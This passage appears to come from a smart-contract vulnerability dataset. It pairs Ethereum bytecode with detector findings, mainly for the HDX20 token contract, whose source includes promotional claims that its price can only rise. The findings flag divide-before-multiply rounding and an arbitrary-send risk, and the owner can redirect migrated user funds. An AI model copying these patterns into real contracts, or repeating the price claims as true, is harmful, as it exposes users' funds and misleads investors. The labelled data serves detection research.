0080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561225657fe5b818303905092915050565b6000808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555042600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b600080600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156125465762ed4e00600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054014211156123c8576001905061254b565b6276a700600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054014211156124ad576004600a600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481151561246157fe5b0402826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054031015905061254b565b6007600a600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548115156124fa57fe5b0402826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054031015905061254b565b600190505b92915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561258e57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156125db57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561266657600080fd5b6126b7826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461224890919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061274a826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610a4e90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061281b82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461224890919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561294857600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561299557600080fd5b6129e6826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461224890919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612a79826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610a4e90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050929150505600a165627a7a72305820621c26a7e96965e04c3497f620255a18cd8a31f7d3f4a7658f07dfc8a9527efe0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 5,938 |
0x8942a5995bd168f347f7ec58f25a54a9a064f882
|
/*
'We are a gaming and entertainment network our blockChain launch product is HDX20 (http://hdx20.io)'
HDX20 tokens can be bought & sold on our exchange and are distributed every time someone is playing a HDX20 POWERED GAME.
With 4% IN and 4% OUT fee only, price of the HDX20 can only go up by design, cannot be dumped on holders and is fueled
by both the volume of transactions and HDX20 POWERED GAMES.
The 4 principles of the HDX20 are :
1) Buy it, its price will increase.
2) Sell it, its price will increase.
3) Transfer it, its price will increase.
4) Play our HDX20 powered games, its price will increase.
Our Blockchain SmartContract IS the market and makes sure that the HDX20 Price never fall below its current selling price
thus offering an unique CONTEXT where risk is known at all time and limited to the IN and OUT fees only.
We have designed a vault where your HDX20 value while still indexed on the Ethereum Price will appreciate automatically over time.
This product is copyrighted. Any unauthorized copy, modification, or use without express written consent from HyperDevbox is prohibited.
Copyright 2018 HyperDevbox
fees distribution:
.1% for developer / 3% for HDX20 price appreciation during BUY and SELL
.1% for developer / 1% for HDX20 price appreciation during token Transfer
*/
pragma solidity ^0.4.25;
interface HDX20Interface
{
function moveAccountIn( address _customerAddress ) payable external;
}
contract HDX20
{
using SafeMath for uint256;
//address of a future contract to move in, by default set to 0
HDX20Interface private NewHDX20Contract = HDX20Interface(0);
/*==============================
= EVENTS =
==============================*/
event OwnershipTransferred(
address indexed previousOwner,
address indexed nextOwner
);
event Transfer(
address indexed from,
address indexed to,
uint256 tokens
);
event onBuyEvent(
address from,
uint256 tokens
);
event onSellEvent(
address from,
uint256 tokens
);
event onAccountMovedOut(
address indexed from,
address to,
uint256 tokens,
uint256 eth
);
event onAccountMovedIn(
address indexed from,
address to,
uint256 tokens,
uint256 eth
);
event HDXcontractChanged(
address previous,
address next,
uint256 timeStamp
);
/*==============================
= MODIFIERS =
==============================*/
modifier onlyOwner
{
require (msg.sender == owner);
_;
}
modifier onlyFromGameWhiteListed
{
require (gameWhiteListed[ msg.sender ] == true);
_;
}
modifier onlyGameWhiteListed(address who)
{
require (gameWhiteListed[ who ] == true);
_;
}
modifier onlyTokenHolders() {
require(myTokens() > 0);
_;
}
address public owner;
/// Contract governance.
constructor () public
{
owner = msg.sender;
if ( address(this).balance > 0)
{
owner.transfer( address(this).balance );
}
}
/*==============================
= TOKEN VARIABLES =
==============================*/
string public name = "HDX20 token";
string public symbol = "HDX20";
uint8 constant public decimals = 18;
uint256 constant internal magnitude = 1e18;
uint8 constant internal referrerFee = 50; //that is 50% of the buyInFee fee
uint8 constant internal transferFee = 2; //50% for the community 50% for developer
uint8 constant internal buyInFee = 3;
uint8 constant internal sellOutFee = 3;
uint8 constant internal devFee = 1; //actually since dev is receiving fees in HDX20 exclusively, he is also taxed on the buyinfee so this not 1%
mapping(address => uint256) private tokenBalanceLedger;
uint256 private tokenSupply = 0;
uint256 private contractValue = 0;
uint256 private tokenPrice = 0.001 ether; //starting price
/*================================
= HDX20 VARIABLES =
================================*/
mapping(address => bool) private gameWhiteListed;
mapping(address => uint8) private superReferrerRate;
/*================================
= PUBLIC FUNCTIONS =
================================*/
/**
* Fallback function to process ethereum
*/
function()
payable
public
{
buyToken(address(0));
}
function changeOwner(address _nextOwner) public
onlyOwner
{
require (_nextOwner != owner);
require(_nextOwner != address(0));
emit OwnershipTransferred(owner, _nextOwner);
owner = _nextOwner;
}
function changeName(string _name) public
onlyOwner
{
name = _name;
}
function changeSymbol(string _symbol) public
onlyOwner
{
symbol = _symbol;
}
function addGame(address _contractAddress ) public
onlyOwner
{
gameWhiteListed[ _contractAddress ] = true;
}
function addSuperReferrer(address _contractAddress , uint8 extra_rate) public
onlyOwner
{
superReferrerRate[ _contractAddress ] = extra_rate;
}
function removeGame(address _contractAddress ) public
onlyOwner
{
gameWhiteListed[ _contractAddress ] = false;
}
function changeNewHDX20Contract(address _next) public
onlyOwner
{
require (_next != address( NewHDX20Contract ));
require( _next != address(0));
emit HDXcontractChanged(address(NewHDX20Contract), _next , now);
NewHDX20Contract = HDX20Interface( _next);
}
function buyTokenSub( uint256 _eth , address _customerAddress ) private
returns(uint256)
{
uint256 _nb_token = (_eth.mul( magnitude)) / tokenPrice;
tokenBalanceLedger[ _customerAddress ] = tokenBalanceLedger[ _customerAddress ].add( _nb_token);
tokenSupply = tokenSupply.add(_nb_token);
emit onBuyEvent( _customerAddress , _nb_token);
return( _nb_token );
}
function buyTokenFromGame( address _customerAddress , address _referrer_address ) public payable
onlyFromGameWhiteListed
returns(uint256)
{
uint256 _eth = msg.value;
if (_eth==0) return(0);
uint256 _devfee = (_eth.mul( devFee )) / 100;
uint256 _fee = (_eth.mul( buyInFee )) / 100;
if (_referrer_address != address(0) && _referrer_address != _customerAddress )
{
uint256 _ethReferrer = (_fee.mul(referrerFee + superReferrerRate[_referrer_address])) / 100;
buyTokenSub( _ethReferrer , _referrer_address);
//substract what is given to referrer
_fee = _fee.sub( _ethReferrer );
}
//for the developer as HDX20 token and also help to increase the price because taxed also on his own share like everybody else
buyTokenSub( (_devfee.mul(100-buyInFee)) / 100 , owner );
//finally buy for the buyer
uint256 _nb_token = buyTokenSub( _eth - _fee -_devfee , _customerAddress);
//add the value to the contract
contractValue = contractValue.add( _eth );
if (tokenSupply>magnitude)
{
tokenPrice = (contractValue.mul( magnitude)) / tokenSupply;
}
return( _nb_token );
}
function buyToken( address _referrer_address ) public payable
returns(uint256)
{
uint256 _eth = msg.value;
address _customerAddress = msg.sender;
require( _eth>0);
uint256 _devfee = (_eth.mul( devFee )) / 100;
uint256 _fee = (_eth.mul( buyInFee )) / 100;
if (_referrer_address != address(0) && _referrer_address != _customerAddress )
{
uint256 _ethReferrer = (_fee.mul(referrerFee + superReferrerRate[_referrer_address])) / 100;
buyTokenSub( _ethReferrer , _referrer_address);
//substract what is given to referrer
_fee = _fee.sub( _ethReferrer );
}
//for the developer as HDX20 token and also help to increase the price because taxed also on his own share like everybody else
buyTokenSub( (_devfee.mul(100-buyInFee)) / 100 , owner );
//finally buy for the buyer
uint256 _nb_token = buyTokenSub( _eth - _fee -_devfee , _customerAddress);
//add the value to the contract
contractValue = contractValue.add( _eth );
if (tokenSupply>magnitude)
{
tokenPrice = (contractValue.mul( magnitude)) / tokenSupply;
}
return( _nb_token );
}
function sellToken( uint256 _amount ) public
onlyTokenHolders
{
address _customerAddress = msg.sender;
uint256 balance = tokenBalanceLedger[ _customerAddress ];
require( _amount <= balance);
uint256 _eth = (_amount.mul( tokenPrice )) / magnitude;
uint256 _fee = (_eth.mul( sellOutFee)) / 100;
uint256 _devfee = (_eth.mul( devFee)) / 100;
tokenSupply = tokenSupply.sub( _amount );
balance = balance.sub( _amount );
tokenBalanceLedger[ _customerAddress] = balance;
//for the developer as HDX20 token and also help to increase the price because taxed also on his own share like everybody else
buyTokenSub( (_devfee.mul(100-buyInFee)) / 100 , owner );
//calculate what is really leaving the contract, basically _eth - _fee -devfee
_eth = _eth - _fee - _devfee;
contractValue = contractValue.sub( _eth );
if (tokenSupply>magnitude)
{
tokenPrice = (contractValue.mul( magnitude)) / tokenSupply;
}
emit onSellEvent( _customerAddress , _amount);
//finally transfer the money
_customerAddress.transfer( _eth );
}
//there is no fee using token to play HDX20 powered games
function payWithToken( uint256 _eth , address _player_address ) public
onlyFromGameWhiteListed
returns(uint256)
{
require( _eth>0 && _eth <= ethBalanceOfNoFee(_player_address ));
address _game_contract = msg.sender;
uint256 balance = tokenBalanceLedger[ _player_address ];
uint256 _nb_token = (_eth.mul( magnitude) ) / tokenPrice;
require( _nb_token <= balance);
//confirm the ETH value
_eth = (_nb_token.mul( tokenPrice)) / magnitude;
balance = balance.sub(_nb_token);
tokenSupply = tokenSupply.sub( _nb_token);
tokenBalanceLedger[ _player_address ] = balance;
contractValue = contractValue.sub( _eth );
if (tokenSupply>magnitude)
{
tokenPrice = (contractValue.mul( magnitude)) / tokenSupply;
}
//send the money to the game contract
_game_contract.transfer( _eth );
return( _eth );
}
function moveAccountOut() public
onlyTokenHolders
{
address _customerAddress = msg.sender;
require( ethBalanceOfNoFee( _customerAddress )>0 && address(NewHDX20Contract) != address(0));
uint256 balance = tokenBalanceLedger[ _customerAddress ];
uint256 _eth = (balance.mul( tokenPrice )) / magnitude;
tokenSupply = tokenSupply.sub( balance );
tokenBalanceLedger[ _customerAddress ] = 0;
contractValue = contractValue.sub( _eth );
if (tokenSupply>magnitude)
{
tokenPrice = (contractValue.mul( magnitude)) / tokenSupply;
}
emit onAccountMovedOut( _customerAddress , address(NewHDX20Contract), balance , _eth );
//send the money to the new HDX20 contract which will buy on customer behalf at no fee converting eth for eth
//notice this could give more or less HDX20 however the eth value should be preserved
NewHDX20Contract.moveAccountIn.value(_eth)(_customerAddress);
}
function moveAccountIn(address _customerAddress) public
payable
onlyFromGameWhiteListed
{
uint256 _eth = msg.value;
//buy token at no fee
uint256 _nb_token = buyTokenSub( _eth , _customerAddress );
contractValue = contractValue.add( _eth );
if (tokenSupply>magnitude)
{
tokenPrice = (contractValue.mul( magnitude)) / tokenSupply;
}
emit onAccountMovedIn( msg.sender, _customerAddress , _nb_token , _eth );
}
function appreciateTokenPrice() public payable
onlyFromGameWhiteListed
{
uint256 _eth = msg.value;
contractValue = contractValue.add( _eth );
//we need a minimum of 1 HDX20 before appreciation is activated
if (tokenSupply>magnitude)
{
tokenPrice = (contractValue.mul( magnitude)) / tokenSupply;
}
}
function transferSub(address _customerAddress, address _toAddress, uint256 _amountOfTokens)
private
returns(bool)
{
require( _amountOfTokens <= tokenBalanceLedger[_customerAddress] );
//actually a transfer of 0 token is valid in ERC20
if (_amountOfTokens>0)
{
{
uint256 _token_fee = (_amountOfTokens.mul( transferFee )) / 100;
_token_fee /= 2;
//now proceed the transfer
tokenBalanceLedger[ _customerAddress] = tokenBalanceLedger[ _customerAddress].sub( _amountOfTokens );
tokenBalanceLedger[ _toAddress] = tokenBalanceLedger[ _toAddress].add( _amountOfTokens - (_token_fee*2) );
//half fee in HDX20 directly credited to developer
tokenBalanceLedger[ owner ] += _token_fee;
//burning the other half of token to drive the price up
tokenSupply = tokenSupply.sub( _token_fee );
if (tokenSupply>magnitude)
{
tokenPrice = (contractValue.mul( magnitude)) / tokenSupply;
}
}
}
// fire event
emit Transfer(_customerAddress, _toAddress, _amountOfTokens);
// ERC20
return true;
}
function transfer(address _toAddress, uint256 _amountOfTokens)
public
returns(bool)
{
return( transferSub( msg.sender , _toAddress, _amountOfTokens));
}
/*================================
= VIEW AND HELPERS FUNCTIONS =
================================*/
function totalEthereumBalance()
public
view
returns(uint)
{
return address(this).balance;
}
function totalContractBalance()
public
view
returns(uint)
{
return contractValue;
}
function totalSupply()
public
view
returns(uint256)
{
return tokenSupply;
}
function myTokens()
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function balanceOf(address _customerAddress)
view
public
returns(uint256)
{
return tokenBalanceLedger[_customerAddress];
}
function sellingPrice( bool includeFees)
view
public
returns(uint256)
{
uint256 _fee = 0;
uint256 _devfee=0;
if (includeFees)
{
_fee = (tokenPrice.mul( sellOutFee ) ) / 100;
_devfee = (tokenPrice.mul( devFee ) ) / 100;
}
return( tokenPrice - _fee - _devfee );
}
function buyingPrice( bool includeFees)
view
public
returns(uint256)
{
uint256 _fee = 0;
uint256 _devfee=0;
if (includeFees)
{
_fee = (tokenPrice.mul( buyInFee ) ) / 100;
_devfee = (tokenPrice.mul( devFee ) ) / 100;
}
return( tokenPrice + _fee + _devfee );
}
function ethBalanceOf(address _customerAddress)
view
public
returns(uint256)
{
uint256 _price = sellingPrice( true );
uint256 _balance = tokenBalanceLedger[ _customerAddress];
uint256 _value = (_balance.mul( _price )) / magnitude;
return( _value );
}
function myEthBalanceOf()
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return ethBalanceOf(_customerAddress);
}
function ethBalanceOfNoFee(address _customerAddress)
view
public
returns(uint256)
{
uint256 _price = sellingPrice( false );
uint256 _balance = tokenBalanceLedger[ _customerAddress];
uint256 _value = (_balance.mul( _price )) / magnitude;
return( _value );
}
function myEthBalanceOfNoFee()
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return ethBalanceOfNoFee(_customerAddress);
}
function checkGameListed(address _contract)
view
public
returns(bool)
{
return( gameWhiteListed[ _contract]);
}
function getSuperReferrerRate(address _customerAddress)
view
public
returns(uint8)
{
return( referrerFee+superReferrerRate[ _customerAddress]);
}
}
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a);
return c;
}
}
|
0x6080604052600436106101955763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146101a25780631097b9ee1461022c57806316ff1c761461025857806318160ddd146102625780632397e4d714610277578063313ce5671461028f5780633a9d8be8146102ba57806352dde1c3146102cf5780635353a2d8146102f35780636b2f46321461034c57806370a08231146103615780637252bbf2146103825780637e72fb52146103a35780637f630259146103b7578063814487c4146103d857806387f5c846146103ff5780638da5cb5b14610420578063949e8acd1461045157806395d89b41146104665780639a74adda1461047b578063a3895fff1461048f578063a546f2e7146104e8578063a6f9dae114610509578063a9059cbb1461052a578063bac03cd714610562578063bce2466914610577578063c53b12f914610598578063c671b934146105ad578063c9a7623a146105c7578063d72d04db146105e1578063d784601a14610602578063dc62da6114610617575b61019f6000610638565b50005b3480156101ae57600080fd5b506101b76107be565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101f15781810151838201526020016101d9565b50505050905090810190601f16801561021e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561023857600080fd5b506102466004351515610849565b60408051918252519081900360200190f35b6102606108aa565b005b34801561026e57600080fd5b50610246610925565b34801561028357600080fd5b5061026060043561092c565b34801561029b57600080fd5b506102a4610b0c565b6040805160ff9092168252519081900360200190f35b3480156102c657600080fd5b50610260610b11565b3480156102db57600080fd5b50610246600435600160a060020a0360243516610cf9565b3480156102ff57600080fd5b506040805160206004803580820135601f8101849004840285018401909552848452610260943694929360249392840191908190840183828082843750949750610e999650505050505050565b34801561035857600080fd5b50610246610ec7565b34801561036d57600080fd5b50610246600160a060020a0360043516610ecc565b34801561038e57600080fd5b50610246600160a060020a0360043516610ee7565b610246600160a060020a0360043516610638565b3480156103c357600080fd5b506102a4600160a060020a0360043516610f41565b3480156103e457600080fd5b50610260600160a060020a036004351660ff60243516610f62565b34801561040b57600080fd5b50610246600160a060020a0360043516610fa6565b34801561042c57600080fd5b50610435610fb6565b60408051600160a060020a039092168252519081900360200190f35b34801561045d57600080fd5b50610246610fc5565b34801561047257600080fd5b506101b7610fd8565b610260600160a060020a0360043516611033565b34801561049b57600080fd5b506040805160206004803580820135601f810184900484028501840190955284845261026094369492936024939284019190819084018382808284375094975061110b9650505050505050565b3480156104f457600080fd5b50610260600160a060020a0360043516611135565b34801561051557600080fd5b50610260600160a060020a03600435166111f7565b34801561053657600080fd5b5061054e600160a060020a03600435166024356112a7565b604080519115158252519081900360200190f35b34801561056e57600080fd5b506102466112bd565b34801561058357600080fd5b50610260600160a060020a03600435166112c3565b3480156105a457600080fd5b506102466112fb565b610246600160a060020a0360043581169060243516611307565b3480156105d357600080fd5b50610246600435151561149d565b3480156105ed57600080fd5b50610260600160a060020a03600435166114fd565b34801561060e57600080fd5b50610246611538565b34801561062357600080fd5b5061054e600160a060020a0360043516611544565b600034338280808080861161064c57600080fd5b606461065f87600163ffffffff61156216565b81151561066857fe5b049350606461067e87600363ffffffff61156216565b81151561068757fe5b049250600160a060020a038816158015906106b4575084600160a060020a031688600160a060020a031614155b1561071957600160a060020a0388166000908152600960205260409020546064906106ef908590603260ff918216011663ffffffff61156216565b8115156106f857fe5b049150610705828961158e565b50610716838363ffffffff61165f16565b92505b61074d606461072f86606163ffffffff61156216565b81151561073857fe5b60015491900490600160a060020a031661158e565b5061075c84848803038661158e565b600654909150610772908763ffffffff61167416565b600655600554670de0b6b3a764000010156107b3576005546006546107a590670de0b6b3a764000063ffffffff61156216565b8115156107ae57fe5b046007555b979650505050505050565b6002805460408051602060018416156101000260001901909316849004601f810184900484028201840190925281815292918301828280156108415780601f1061081657610100808354040283529160200191610841565b820191906000526020600020905b81548152906001019060200180831161082457829003601f168201915b505050505081565b60008080831561089c5760075460649061086a90600363ffffffff61156216565b81151561087357fe5b600754919004925060649061088f90600163ffffffff61156216565b81151561089857fe5b0490505b600754919091030392915050565b3360009081526008602052604081205460ff1615156001146108cb57600080fd5b5060065434906108e1908263ffffffff61167416565b600655600554670de0b6b3a764000010156109225760055460065461091490670de0b6b3a764000063ffffffff61156216565b81151561091d57fe5b046007555b50565b6005545b90565b60008060008060008061093d610fc5565b1161094757600080fd5b3360008181526004602052604090205490955093508386111561096957600080fd5b670de0b6b3a76400006109876007548861156290919063ffffffff16565b81151561099057fe5b04925060646109a684600363ffffffff61156216565b8115156109af57fe5b04915060646109c584600163ffffffff61156216565b8115156109ce57fe5b0490506109e68660055461165f90919063ffffffff16565b6005556109f9848763ffffffff61165f16565b600160a060020a03861660009081526004602052604090208190559350610a2c606461072f83606163ffffffff61156216565b506006549282900381900392610a48908463ffffffff61165f16565b600655600554670de0b6b3a76400001015610a8957600554600654610a7b90670de0b6b3a764000063ffffffff61156216565b811515610a8457fe5b046007555b60408051600160a060020a03871681526020810188905281517f6e4c04606163f3a400bad8588c8fe9e6cfa6c7aabbcfe66123d62730aa156270929181900390910190a1604051600160a060020a0386169084156108fc029085906000818181858888f19350505050158015610b03573d6000803e3d6000fd5b50505050505050565b601281565b600080600080610b1f610fc5565b11610b2957600080fd5b3392506000610b3784610fa6565b118015610b4e5750600054600160a060020a031615155b1515610b5957600080fd5b600160a060020a038316600090815260046020526040902054600754909250670de0b6b3a764000090610b9390849063ffffffff61156216565b811515610b9c57fe5b049050610bb48260055461165f90919063ffffffff16565b600555600160a060020a038316600090815260046020526040812055600654610be3908263ffffffff61165f16565b600655600554670de0b6b3a76400001015610c2457600554600654610c1690670de0b6b3a764000063ffffffff61156216565b811515610c1f57fe5b046007555b60005460408051600160a060020a039283168152602081018590528082018490529051918516917f0613f3007a01cf0dc9b10750d673c7e934a1c83f14715bc21a835824408f05559181900360600190a260008054604080517f9a74adda000000000000000000000000000000000000000000000000000000008152600160a060020a03878116600483015291519190921692639a74adda9285926024808301939282900301818588803b158015610cdb57600080fd5b505af1158015610cef573d6000803e3d6000fd5b5050505050505050565b3360009081526008602052604081205481908190819060ff161515600114610d2057600080fd5b600086118015610d385750610d3485610fa6565b8611155b1515610d4357600080fd5b600160a060020a038516600090815260046020526040902054600754339450909250610d7d87670de0b6b3a764000063ffffffff61156216565b811515610d8657fe5b04905081811115610d9657600080fd5b670de0b6b3a7640000610db46007548361156290919063ffffffff16565b811515610dbd57fe5b049550610dd0828263ffffffff61165f16565b600554909250610de6908263ffffffff61165f16565b600555600160a060020a0385166000908152600460205260409020829055600654610e17908763ffffffff61165f16565b600655600554670de0b6b3a76400001015610e5857600554600654610e4a90670de0b6b3a764000063ffffffff61156216565b811515610e5357fe5b046007555b604051600160a060020a0384169087156108fc029088906000818181858888f19350505050158015610e8e573d6000803e3d6000fd5b509495945050505050565b600154600160a060020a03163314610eb057600080fd5b8051610ec3906002906020840190611814565b5050565b303190565b600160a060020a031660009081526004602052604090205490565b600080600080610ef76001610849565b600160a060020a0386166000908152600460205260409020549093509150670de0b6b3a7640000610f2e838563ffffffff61156216565b811515610f3757fe5b0495945050505050565b600160a060020a031660009081526009602052604090205460ff1660320190565b600154600160a060020a03163314610f7957600080fd5b600160a060020a03919091166000908152600960205260409020805460ff191660ff909216919091179055565b600080600080610ef76000610849565b600154600160a060020a031681565b600033610fd181610ecc565b91505b5090565b6003805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156108415780601f1061081657610100808354040283529160200191610841565b33600090815260086020526040812054819060ff16151560011461105657600080fd5b349150611063828461158e565b600654909150611079908363ffffffff61167416565b600655600554670de0b6b3a764000010156110ba576005546006546110ac90670de0b6b3a764000063ffffffff61156216565b8115156110b557fe5b046007555b60408051600160a060020a038516815260208101839052808201849052905133917fda094decb8661f6c0cb33392f53adf25d7e6bf6d15ba9f1aecde71620471ec5b919081900360600190a2505050565b600154600160a060020a0316331461112257600080fd5b8051610ec3906003906020840190611814565b600154600160a060020a0316331461114c57600080fd5b600054600160a060020a038281169116141561116757600080fd5b600160a060020a038116151561117c57600080fd5b60005460408051600160a060020a03928316815291831660208301524282820152517f87ab77b91a9a6a5a04a748607e0ee38d580963c4e21fe45d2e79ffeef26bc55e9181900360600190a16000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600154600160a060020a0316331461120e57600080fd5b600154600160a060020a038281169116141561122957600080fd5b600160a060020a038116151561123e57600080fd5b600154604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60006112b4338484611684565b90505b92915050565b60065490565b600154600160a060020a031633146112da57600080fd5b600160a060020a03166000908152600860205260409020805460ff19169055565b600033610fd181610ee7565b336000908152600860205260408120548190819081908190819060ff16151560011461133257600080fd5b3494508415156113455760009550611492565b606461135886600163ffffffff61156216565b81151561136157fe5b049350606461137786600363ffffffff61156216565b81151561138057fe5b049250600160a060020a038716158015906113ad575087600160a060020a031687600160a060020a031614155b1561141257600160a060020a0387166000908152600960205260409020546064906113e8908590603260ff918216011663ffffffff61156216565b8115156113f157fe5b0491506113fe828861158e565b5061140f838363ffffffff61165f16565b92505b611428606461072f86606163ffffffff61156216565b5061143784848703038961158e565b60065490915061144d908663ffffffff61167416565b600655600554670de0b6b3a7640000101561148e5760055460065461148090670de0b6b3a764000063ffffffff61156216565b81151561148957fe5b046007555b8095505b505050505092915050565b6000808083156114f0576007546064906114be90600363ffffffff61156216565b8115156114c757fe5b60075491900492506064906114e390600163ffffffff61156216565b8115156114ec57fe5b0490505b6007549091010192915050565b600154600160a060020a0316331461151457600080fd5b600160a060020a03166000908152600860205260409020805460ff19166001179055565b600033610fd181610fa6565b600160a060020a031660009081526008602052604090205460ff1690565b6000821515611573575060006112b7565b5081810281838281151561158357fe5b04146112b757600080fd5b60075460009081906115ae85670de0b6b3a764000063ffffffff61156216565b8115156115b757fe5b600160a060020a03851660009081526004602052604090205491900491506115e5908263ffffffff61167416565b600160a060020a038416600090815260046020526040902055600554611611908263ffffffff61167416565b60055560408051600160a060020a03851681526020810183905281517fcefe7397ae1d7fe6d78f1f266de1b158c817cf31bb141e8b9e441d82b51e43c4929181900390910190a19392505050565b60008282111561166e57600080fd5b50900390565b818101828110156112b757600080fd5b600160a060020a03831660009081526004602052604081205481908311156116ab57600080fd5b60008311156117be5760646116c784600263ffffffff61156216565b8115156116d057fe5b049050600281600160a060020a0387166000908152600460205260409020549190049150611704908463ffffffff61165f16565b600160a060020a03808716600090815260046020526040808220939093559086168152205461173e9060028302850363ffffffff61167416565b600160a060020a038086166000908152600460205260408082209390935560015490911681522080548201905560055461177e908263ffffffff61165f16565b6005819055670de0b6b3a764000010156117be576005546006546117b090670de0b6b3a764000063ffffffff61156216565b8115156117b957fe5b046007555b83600160a060020a031685600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3506001949350505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061185557805160ff1916838001178555611882565b82800160010185558215611882579182015b82811115611882578251825591602001919060010190611867565b50610fd4926109299250905b80821115610fd4576000815560010161188e5600a165627a7a723058201403f28ad5fdbe28f1ccaa1a3a503a6c45920f0d2332635166dc622bedc492c70029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,939 |
0x482913154cf2182c5976ac970d76ca46b058bc5c
|
/**
*Submitted for verification at Etherscan.io on 2021-07-12
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
